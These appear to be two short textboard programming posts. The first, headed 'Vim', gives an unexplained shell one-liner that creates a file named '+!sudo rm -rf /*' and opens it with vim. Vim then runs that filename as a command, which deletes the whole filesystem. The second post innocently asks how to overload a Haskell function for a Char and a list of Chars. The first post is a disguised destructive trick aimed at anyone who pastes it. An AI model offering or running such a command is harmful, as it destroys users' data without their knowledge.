Vim

cd `mktemp -d XXXXXX`;touch '+!sudo rm -rf /*' +q;vim *

Help /prog/!

I'm trying to learn Haskell; function definitions are throwing me though.

Take for example a function 'boollower'; pass it a Char, and it returns Char.isLower of the char. Pass it a list of chars, and it maps Char.isLower over the list.

Is this overloading possible?